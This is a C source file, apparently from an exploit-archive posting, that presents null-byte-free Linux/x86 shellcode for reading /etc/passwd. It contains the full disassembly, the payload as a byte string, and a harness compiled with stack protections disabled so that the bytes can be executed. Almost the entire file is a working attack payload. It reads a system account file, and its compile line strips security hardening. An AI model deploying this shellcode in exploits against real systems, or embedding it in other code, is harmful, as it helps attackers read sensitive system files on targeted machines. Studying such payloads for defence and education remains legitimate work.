78 lines
No EOL
2.4 KiB
C
78 lines
No EOL
2.4 KiB
C
/*
|
|
# Shellcode Title: Linux/x86 - Read File (/etc/passwd) (58 bytes). NULL byte free
|
|
# Date: 2019-01-31
|
|
# Author: Kiewicz (@_Kiewicz)
|
|
# Homepage: https://0xkiewicz.github.io
|
|
# Tested on: Debian/x86
|
|
# gcc -o shellcode -z execstack -fno-stack-protector shellcode.c
|
|
# PA-7854
|
|
*/
|
|
|
|
|
|
/******************************************************************
|
|
$ objdump -d -M intel read_file
|
|
|
|
read_file: file format elf32-i386
|
|
|
|
|
|
Disassembly of section .text:
|
|
|
|
08048060 <_start>:
|
|
8048060: eb 28 jmp 804808a <read_file>
|
|
|
|
08048062 <open>:
|
|
8048062: 5b pop ebx
|
|
8048063: 31 c9 xor ecx,ecx
|
|
8048065: f7 e1 mul ecx
|
|
8048067: 99 cdq
|
|
8048068: b0 05 mov al,0x5
|
|
804806a: cd 80 int 0x80
|
|
|
|
0804806c <read>:
|
|
804806c: 89 c3 mov ebx,eax
|
|
804806e: b0 03 mov al,0x3
|
|
8048070: 89 e7 mov edi,esp
|
|
8048072: 89 f9 mov ecx,edi
|
|
8048074: 31 d2 xor edx,edx
|
|
8048076: b2 ff mov dl,0xff
|
|
8048078: cd 80 int 0x80
|
|
|
|
0804807a <write>:
|
|
804807a: 89 c2 mov edx,eax
|
|
804807c: 31 c0 xor eax,eax
|
|
804807e: b0 04 mov al,0x4
|
|
8048080: 31 db xor ebx,ebx
|
|
8048082: b3 01 mov bl,0x1
|
|
8048084: cd 80 int 0x80
|
|
|
|
08048086 <exit>:
|
|
8048086: b0 01 mov al,0x1
|
|
8048088: cd 80 int 0x80
|
|
|
|
0804808a <read_file>:
|
|
804808a: e8 d3 ff ff ff call 8048062 <open>
|
|
|
|
0804808f <filetoread>:
|
|
804808f: 2f das
|
|
8048090: 65 74 63 gs je 80480f6 <filetoread+0x67>
|
|
8048093: 2f das
|
|
8048094: 70 61 jo 80480f7 <filetoread+0x68>
|
|
8048096: 73 73 jae 804810b <filetoread+0x7c>
|
|
8048098: 77 64 ja 80480fe <filetoread+0x6f>
|
|
******************************************************************/
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
unsigned char code[] = "\xeb\x28\x5b\x31\xc9\xf7\xe1\x99\xb0\x05\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb2\xff\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xcd\x80\xb0\x01\xcd\x80\xe8\xd3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
|
|
|
|
int main()
|
|
{
|
|
|
|
printf("Shellcode Length: %d\n", strlen(code));
|
|
|
|
int (*ret)() = (int(*)())code;
|
|
|
|
ret();
|
|
return 0;
|
|
} |